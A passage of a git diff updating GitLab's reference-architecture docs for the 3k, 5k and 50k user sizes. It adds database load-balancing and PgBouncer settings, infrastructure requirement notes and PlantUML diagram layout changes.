gitlab_rails['db_host'] = '10.6.0.40' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
- gitlab_rails['db_adapter'] = 'postgresql'
- gitlab_rails['db_encoding'] = 'unicode'
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['10.6.0.31', '10.6.0.32', '10.6.0.33'] } # PostgreSQL IPs
+
## Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -1773,6 +1815,8 @@ On each node perform the following:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['10.6.0.31', '10.6.0.32', '10.6.0.33'] } # PostgreSQL IPs
+
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -2074,8 +2118,7 @@ cluster alongside your instance, read how to
## Configure NFS (optional)
[Object storage](#configure-the-object-storage), along with [Gitaly](#configure-gitaly)
-are recommended over NFS wherever possible for improved performance. If you intend
-to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pages-requires-nfs).
+are recommended over NFS wherever possible for improved performance.
See how to [configure NFS](../nfs.md).
@@ -2102,7 +2145,7 @@ but with smaller performance requirements, several modifications can be consider
- Lowering node specs: Depending on your user count, you can lower all suggested node specs as desired. However, it's recommended that you don't go lower than the [general requirements](../../install/requirements.md).
- Combining select nodes: Some nodes can be combined to reduce complexity at the cost of some performance:
- GitLab Rails and Sidekiq: Sidekiq nodes can be removed and the component instead enabled on the GitLab Rails nodes.
- - PostgreSQL and PgBouncer: PgBouncer nodes can be removed and the component instead enabled on PostgreSQL with the Internal Load Balancer pointing to them instead.
+ - PostgreSQL and PgBouncer: PgBouncer nodes could be removed and instead be enabled on PostgreSQL nodes with the Internal Load Balancer pointing to them. However, to enable [Database Load Balancing](../postgresql/database_load_balancing.md), a separate PgBouncer array is still required.
- Reducing the node counts: Some node types do not need consensus and can run with fewer nodes (but more than one for redundancy). This will also lead to reduced performance.
- GitLab Rails and Sidekiq: Stateless services don't have a minimum node count. Two are enough for redundancy.
- Gitaly and Praefect: A quorum is not strictly necessary. Two Gitaly nodes and two Praefect nodes are enough for redundancy.
@@ -2171,7 +2214,7 @@ services where applicable):
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and Amazon RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -2183,25 +2226,21 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 3k
+skinparam linetype ortho
card "Kubernetes via Helm Charts" as kubernetes {
card "**External Load Balancer**" as elb #6a9be7
together {
- collections "**Webservice** x2" as gitlab #32CD32
- collections "**Sidekiq** x3" as sidekiq #ff8dd1
+ collections "**Webservice** x4" as gitlab #32CD32
+ collections "**Sidekiq** x4" as sidekiq #ff8dd1
}
- card "**Prometheus + Grafana**" as monitor #7FFFD4
card "**Supporting Services**" as support
}
card "**Internal Load Balancer**" as ilb #9370DB
-
-card "**Consul + Sentinel**" as consul_sentinel {
- collections "**Consul** x3" as consul #e76a9b
- collections "**Redis Sentinel** x3" as sentinel #e6e727
-}
+collections "**Consul** x3" as consul #e76a9b
card "Gitaly Cluster" as gitaly_cluster {
collections "**Praefect** x3" as praefect #FF8C00
@@ -2221,41 +2260,33 @@ card "Database" as database {
postgres_primary .[#4EA7FF]> postgres_secondary
}
-card "Redis" as redis {
+card "redis" as redis {
collections "**Redis** x3" as redis_nodes #FF6347
-
- redis_nodes <.[#FF6347]- sentinel
}
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]-> monitor
+elb -[hidden]-> sidekiq
elb -[hidden]-> support
gitlab -[#32CD32]--> ilb
-gitlab -[#32CD32]-> object_storage
-gitlab -[#32CD32]---> redis
-gitlab -[hidden]--> consul
+gitlab -[#32CD32]r--> object_storage
+gitlab -[#32CD32,norank]----> redis
+gitlab -[#32CD32]----> database
sidekiq -[#ff8dd1]--> ilb
-sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> redis
-sidekiq -[hidden]--> consul
-
-ilb -[#9370DB]-> gitaly_cluster
-ilb -[#9370DB]-> database
+sidekiq -[#ff8dd1]r--> object_storage
+sidekiq -[#ff8dd1,norank]----> redis
+sidekiq .[#ff8dd1]----> database
-consul .[#e76a9b]-> database
-consul .[#e76a9b]-> gitaly_cluster
-consul .[#e76a9b,norank]--> redis
+ilb -[#9370DB]--> gitaly_cluster
+ilb -[#9370DB]--> database
+ilb -[hidden,norank]--> redis
-monitor .[#7FFFD4]> consul
-monitor .[#7FFFD4]-> database
-monitor .[#7FFFD4]-> gitaly_cluster
-monitor .[#7FFFD4,norank]--> redis
-monitor .[#7FFFD4]> ilb
-monitor .[#7FFFD4,norank]u--> elb
+consul .[#e76a9b]--> database
+consul .[#e76a9b,norank]--> gitaly_cluster
+consul .[#e76a9b]--> redis
@enduml
```
diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md
index bbdf798d9ad..4f576fc1c19 100644
--- a/doc/administration/reference_architectures/50k_users.md
+++ b/doc/administration/reference_architectures/50k_users.md
@@ -12,6 +12,7 @@ full list of reference architectures, see
> - **Supported users (approximate):** 50,000
> - **High Availability:** Yes ([Praefect](#configure-praefect-postgresql) needs a third-party PostgreSQL solution for HA)
+> - **Estimated Costs:** [GCP](https://cloud.google.com/products/calculator/#id=8006396b-88ee-40cd-a1c8-77cdefa4d3c8)
> - **Cloud Native Hybrid Alternative:** [Yes](#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative)
> - **Performance tested weekly with the [GitLab Performance Tool (GPT)](https://gitlab.com/gitlab-org/quality/performance)**:
> - **Test requests per second (RPS) rates:** API: 1000 RPS, Web: 100 RPS, Git (Pull): 100 RPS, Git (Push): 20 RPS
@@ -37,7 +38,7 @@ full list of reference architectures, see
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and Amazon RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -49,6 +50,8 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 50k
+skinparam linetype ortho
+
card "**External Load Balancer**" as elb #6a9be7
card "**Internal Load Balancer**" as ilb #9370DB
@@ -73,8 +76,8 @@ card "Gitaly Cluster" as gitaly_cluster {
card "Database" as database {
collections "**PGBouncer** x3" as pgbouncer #4EA7FF
- card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF
- collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF
+ card "**PostgreSQL** //Primary//" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** //Secondary// x2" as postgres_secondary #4EA7FF
pgbouncer -[#4EA7FF]-> postgres_primary
postgres_primary .[#4EA7FF]> postgres_secondary
@@ -83,31 +86,38 @@ card "Database" as database {
card "redis" as redis {
collections "**Redis Persistent** x3" as redis_persistent #FF6347
collections "**Redis Cache** x3" as redis_cache #FF6347
+
+ redis_cache -[hidden]-> redis_persistent
}
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]--> monitor
+elb -[#6a9be7,norank]--> monitor
-gitlab -[#32CD32]--> ilb
-gitlab -[#32CD32]-> object_storage
-gitlab -[#32CD32]---> redis
+gitlab -[#32CD32,norank]--> ilb
+gitlab -[#32CD32]r-> object_storage
+gitlab -[#32CD32]----> redis
+gitlab .[#32CD32]----> database
gitlab -[hidden]-> monitor
gitlab -[hidden]-> consul
-sidekiq -[#ff8dd1]--> ilb
-sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> redis
+sidekiq -[#ff8dd1,norank]--> ilb
+sidekiq -[#ff8dd1]r-> object_storage
+sidekiq -[#ff8dd1]----> redis
+sidekiq .[#ff8dd1]----> database
sidekiq -[hidden]-> monitor
sidekiq -[hidden]-> consul
-ilb -[#9370DB]-> gitaly_cluster
-ilb -[#9370DB]-> database
+ilb -[#9370DB]--> gitaly_cluster
+ilb -[#9370DB]--> database
+ilb -[hidden]--> redis
+ilb -[hidden]u-> consul
+ilb -[hidden]u-> monitor
consul .[#e76a9b]u-> gitlab
consul .[#e76a9b]u-> sidekiq
-consul .[#e76a9b]> monitor
+consul .[#e76a9b]r-> monitor
consul .[#e76a9b]-> database
consul .[#e76a9b]-> gitaly_cluster
consul .[#e76a9b,norank]--> redis
@@ -124,21 +134,34 @@ monitor .[#7FFFD4,norank]u--> elb
@enduml
```
-The Google Cloud Platform (GCP) architectures were built and tested using the
+## Requirements
+
+Before starting, you should take note of the following requirements / guidance for this reference architecture.
+
+### Supported CPUs
+
+This reference architecture was built and tested on Google Cloud Platform (GCP) using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
or higher, are required for your CPU or node counts. For more information, see
our [Sysbench](https://github.com/akopytov/sysbench)-based
[CPU benchmarks](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks).
-Due to better performance and availability, for data objects (such as LFS,
-uploads, or artifacts), using an [object storage service](#configure-the-object-storage)
-is recommended.
+### Supported infrastructure
+
+As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP, Azure) and their services, or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. However, this does not constitute a guarantee for every potential permutation.
+
+Be aware of the following specific call outs:
-It's also worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and
+- [Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/#:~:text=Azure%20Database%20for%20PostgreSQL%20is,high%20availability%2C%20and%20dynamic%20scalability.) is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to known performance issues or missing features.
+- [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/) is recommended to be configured with [Premium accounts](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blob-block-blob-premium) to ensure consistent performance.
+
+### Praefect PostgreSQL
+
+It's worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and
that to achieve full High Availability a third-party PostgreSQL database solution will be required.
We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server
-can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398)
+can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398).
## Setup components
@@ -480,14 +503,15 @@ run: node-exporter: (pid 30093) 76833s; run: log: (pid 29663) 76855s
## Configure PostgreSQL
-In this section, you'll be guided through configuring an external PostgreSQL database
-to be used with GitLab.
+In this section, you'll be guided through configuring a highly available PostgreSQL
+cluster to be used with GitLab.
### Provide your own PostgreSQL instance
If you're hosting GitLab on a cloud provider, you can optionally use a
-managed service for PostgreSQL. For example, AWS offers a managed Relational
-Database Service (RDS) that runs PostgreSQL.
+managed service for PostgreSQL.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
If you use a cloud-managed service, or provide your own PostgreSQL:
@@ -497,12 +521,25 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
needs privileges to create the `gitlabhq_production` database.
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+1. For improved performance, configuring [Database Load Balancing](../postgresql/database_load_balancing.md)
+ with multiple read replicas is recommended.
See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
further configuration steps.
### Standalone PostgreSQL using Omnibus GitLab
+The recommended Omnibus GitLab configuration for a PostgreSQL cluster with
+replication and failover requires:
+
+- A minimum of three PostgreSQL nodes.
+- A minimum of three Consul server nodes.
+- A minimum of three PgBouncer nodes that track and handle primary database reads and writes.
+ - An [internal load balancer](#configure-the-internal-load-balancer) (TCP) to balance requests between the PgBouncer nodes.
+- [Database Load Balancing](../postgresql/database_load_balancing.md) enabled.
+
+ A local PgBouncer service to be configured on each PostgreSQL node. Note that this is separate from the main PgBouncer cluster that tracks the primary.
+
The following IPs will be used as an example:
- `10.6.0.21`: PostgreSQL primary
@@ -557,8 +594,8 @@ in the second step, do not supply the `EXTERNAL_URL` value.
1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
```ruby
- # Disable all components except Patroni and Consul
- roles(['patroni_role'])
+ # Disable all components except Patroni, PgBouncer and Consul
+ roles(['patroni_role', 'pgbouncer_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -604,6 +641,15 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Replace 10.6.0.0/24 with Network Address
postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
+ # Local PgBouncer service for Database Load Balancing
+ pgbouncer['databases'] = {
+ gitlabhq_production: {
+ host: "127.0.0.1",
+ user: "pgbouncer",
+ password: '<pgbouncer_password_hash>'
+ }
+ }
+
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
postgres_exporter['listen_address'] = '0.0.0.0:9187'
@@ -664,9 +710,11 @@ If the 'State' column for any node doesn't say "running", check the
</a>
</div>
-## Configure PgBouncer
+### Configure PgBouncer
+
+Now that the PostgreSQL servers are all set up, let's configure PgBouncer
+for tracking and handling reads/writes to the primary database.
-Now that the PostgreSQL servers are all set up, let's configure PgBouncer.
The following IPs will be used as an example:
- `10.6.0.31`: PgBouncer 1
@@ -891,7 +939,7 @@ a node and change its status from primary to replica (and vice versa).
package of your choice. Be sure to both follow _only_ installation steps 1 and 2
on the page, and to select the correct Omnibus GitLab package, with the same version
and type (Community or Enterprise editions) as your current install.
-1. Edit `/etc/gitlab/gitlab.rb` and add the same contents as the priimary node in the previous section by replacing `redis_master_node` with `redis_replica_node`:
+1. Edit `/etc/gitlab/gitlab.rb` and add the same contents as the primary node in the previous section by replacing `redis_master_node` with `redis_replica_node`:
```ruby
# Specify server role as 'redis_replica_role' with Sentinel and enable Consul agent
@@ -1229,6 +1277,15 @@ There are many third-party solutions for PostgreSQL HA. The solution selected mu
- A static IP for all connections that doesn't change on failover.
- [`LISTEN`](https://www.postgresql.org/docs/12/sql-listen.html) SQL functionality must be supported.
+NOTE:
+With a third-party setup, it's possible to colocate Praefect's database on the same server as
+the main [GitLab](#provide-your-own-postgresql-instance) database as a convenience unless
+you are using Geo, where separate database instances are required for handling replication correctly.
+In this setup, the specs of the main database setup shouldn't need to be changed as the impact should be
+minimal.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
+
Examples of the above could include [Google's Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) or [Amazon RDS](https://aws.amazon.com/rds/).
Once the database is set up, follow the [post configuration](#praefect-postgresql-post-configuration).
@@ -1684,8 +1741,8 @@ To configure the Sidekiq nodes, on each one:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
- gitlab_rails['db_adapter'] = 'postgresql'
- gitlab_rails['db_encoding'] = 'unicode'
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['10.6.0.21', '10.6.0.22', '10.6.0.23'] } # PostgreSQL IPs
+
## Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -1819,6 +1876,8 @@ On each node perform the following:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['10.6.0.21', '10.6.0.22', '10.6.0.23'] } # PostgreSQL IPs
+
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -2140,8 +2199,7 @@ cluster alongside your instance, read how to
## Configure NFS
[Object storage](#configure-the-object-storage), along with [Gitaly](#configure-gitaly)
-are recommended over NFS wherever possible for improved performance. If you intend
-to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pages-requires-nfs).
+are recommended over NFS wherever possible for improved performance.
See how to [configure NFS](../nfs.md).
@@ -2214,7 +2272,7 @@ services where applicable):
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and Amazon RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -2226,16 +2284,16 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 50k
+skinparam linetype ortho
card "Kubernetes via Helm Charts" as kubernetes {
card "**External Load Balancer**" as elb #6a9be7
together {
- collections "**Webservice** x16" as gitlab #32CD32
+ collections "**Webservice** x4" as gitlab #32CD32
collections "**Sidekiq** x4" as sidekiq #ff8dd1
}
- card "**Prometheus + Grafana**" as monitor #7FFFD4
card "**Supporting Services**" as support
}
@@ -2263,37 +2321,33 @@ card "Database" as database {
card "redis" as redis {
collections "**Redis Persistent** x3" as redis_persistent #FF6347
collections "**Redis Cache** x3" as redis_cache #FF6347
+
+ redis_cache -[hidden]-> redis_persistent
}
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]-> monitor
+elb -[hidden]-> sidekiq
elb -[hidden]-> support
gitlab -[#32CD32]--> ilb
-gitlab -[#32CD32]-> object_storage
-gitlab -[#32CD32]---> redis
-gitlab -[hidden]--> consul
+gitlab -[#32CD32]r--> object_storage
+gitlab -[#32CD32,norank]----> redis
+gitlab -[#32CD32]----> database
sidekiq -[#ff8dd1]--> ilb
-sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> redis
-sidekiq -[hidden]--> consul
-
-ilb -[#9370DB]-> gitaly_cluster
-ilb -[#9370DB]-> database
+sidekiq -[#ff8dd1]r--> object_storage
+sidekiq -[#ff8dd1,norank]----> redis
+sidekiq .[#ff8dd1]----> database
-consul .[#e76a9b]-> database
-consul .[#e76a9b]-> gitaly_cluster
-consul .[#e76a9b,norank]--> redis
+ilb -[#9370DB]--> gitaly_cluster
+ilb -[#9370DB]--> database
+ilb -[hidden,norank]--> redis
-monitor .[#7FFFD4]> consul
-monitor .[#7FFFD4]-> database
-monitor .[#7FFFD4]-> gitaly_cluster
-monitor .[#7FFFD4,norank]--> redis
-monitor .[#7FFFD4]> ilb
-monitor .[#7FFFD4,norank]u--> elb
+consul .[#e76a9b]--> database
+consul .[#e76a9b,norank]--> gitaly_cluster
+consul .[#e76a9b]--> redis
@enduml
```
diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md
index a1921f50e4e..92950806cfb 100644
--- a/doc/administration/reference_architectures/5k_users.md
+++ b/doc/administration/reference_architectures/5k_users.md
@@ -19,6 +19,7 @@ costly-to-operate environment by using the
> - **Supported users (approximate):** 5,000
> - **High Availability:** Yes ([Praefect](#configure-praefect-postgresql) needs a third-party PostgreSQL solution for HA)
+> - **Estimated Costs:** [GCP](https://cloud.google.com/products/calculator/#id=8742e8ea-c08f-4e0a-b058-02f3a1c38a2f)
> - **Cloud Native Hybrid Alternative:** [Yes](#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative)
> - **Performance tested weekly with the [GitLab Performance Tool (GPT)](https://gitlab.com/gitlab-org/quality/performance)**:
> - **Test requests per second (RPS) rates:** API: 100 RPS, Web: 10 RPS, Git (Pull): 10 RPS, Git (Push): 2 RPS
@@ -39,11 +40,11 @@ costly-to-operate environment by using the
| GitLab Rails | 3 | 16 vCPU, 14.4 GB memory | `n1-highcpu-16` | `c5.4xlarge` | `F16s v2`|
| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
| Object storage<sup>4</sup> | n/a | n/a | n/a | n/a | n/a |
-| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+| NFS server (non-Gitaly) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -55,6 +56,8 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 5k
+skinparam linetype ortho
+
card "**External Load Balancer**" as elb #6a9be7
card "**Internal Load Balancer**" as ilb #9370DB
@@ -63,7 +66,10 @@ together {
collections "**Sidekiq** x4" as sidekiq #ff8dd1
}
-card "**Prometheus + Grafana**" as monitor #7FFFD4
+together {
+ card "**Prometheus + Grafana**" as monitor #7FFFD4
+ collections "**Consul** x3" as consul #e76a9b
+}
card "Gitaly Cluster" as gitaly_cluster {
collections "**Praefect** x3" as praefect #FF8C00
@@ -76,47 +82,45 @@ card "Gitaly Cluster" as gitaly_cluster {
card "Database" as database {
collections "**PGBouncer** x3" as pgbouncer #4EA7FF
- card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF
- collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF
+ card "**PostgreSQL** //Primary//" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** //Secondary// x2" as postgres_secondary #4EA7FF
pgbouncer -[#4EA7FF]-> postgres_primary
postgres_primary .[#4EA7FF]> postgres_secondary
}
-card "**Consul + Sentinel**" as consul_sentinel {
- collections "**Consul** x3" as consul #e76a9b
- collections "**Redis Sentinel** x3" as sentinel #e6e727
-}
-
card "Redis" as redis {
collections "**Redis** x3" as redis_nodes #FF6347
-
- redis_nodes <.[#FF6347]- sentinel
}
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]--> monitor
+elb -[#6a9be7,norank]--> monitor
-gitlab -[#32CD32]--> ilb
-gitlab -[#32CD32]-> object_storage
-gitlab -[#32CD32]---> redis
+gitlab -[#32CD32,norank]--> ilb
+gitlab -[#32CD32]r-> object_storage
+gitlab -[#32CD32]----> redis
+gitlab .[#32CD32]----> database
gitlab -[hidden]-> monitor
gitlab -[hidden]-> consul
-sidekiq -[#ff8dd1]--> ilb
-sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> redis
+sidekiq -[#ff8dd1,norank]--> ilb
+sidekiq -[#ff8dd1]r-> object_storage
+sidekiq -[#ff8dd1]----> redis
+sidekiq .[#ff8dd1]----> database
sidekiq -[hidden]-> monitor
sidekiq -[hidden]-> consul
-ilb -[#9370DB]-> gitaly_cluster
-ilb -[#9370DB]-> database
+ilb -[#9370DB]--> gitaly_cluster
+ilb -[#9370DB]--> database
+ilb -[hidden]--> redis
+ilb -[hidden]u-> consul
+ilb -[hidden]u-> monitor
consul .[#e76a9b]u-> gitlab
consul .[#e76a9b]u-> sidekiq
-consul .[#e76a9b]> monitor
+consul .[#e76a9b]r-> monitor
consul .[#e76a9b]-> database
consul .[#e76a9b]-> gitaly_cluster
consul .[#e76a9b,norank]--> redis
@@ -133,22 +137,34 @@ monitor .[#7FFFD4,norank]u--> elb
@enduml
```
-The Google Cloud Platform (GCP) architectures were built and tested using the
+## Requirements
+
+Before starting, you should take note of the following requirements / guidance for this reference architecture.
+
+### Supported CPUs
+
+This reference architecture was built and tested on Google Cloud Platform (GCP) using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
or higher, are required for your CPU or node counts. For more information, see
our [Sysbench](https://github.com/akopytov/sysbench)-based
[CPU benchmarks](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks).
-Due to better performance and availability, for data objects (such as LFS,
-uploads, or artifacts), using an [object storage service](#configure-the-object-storage)
-is recommended instead of using NFS. Using an object storage service also
-doesn't require you to provision and maintain a node.
+### Supported infrastructure
+
+As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP, Azure) and their services, or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. However, this does not constitute a guarantee for every potential permutation.
+
+Be aware of the following specific call outs:
+
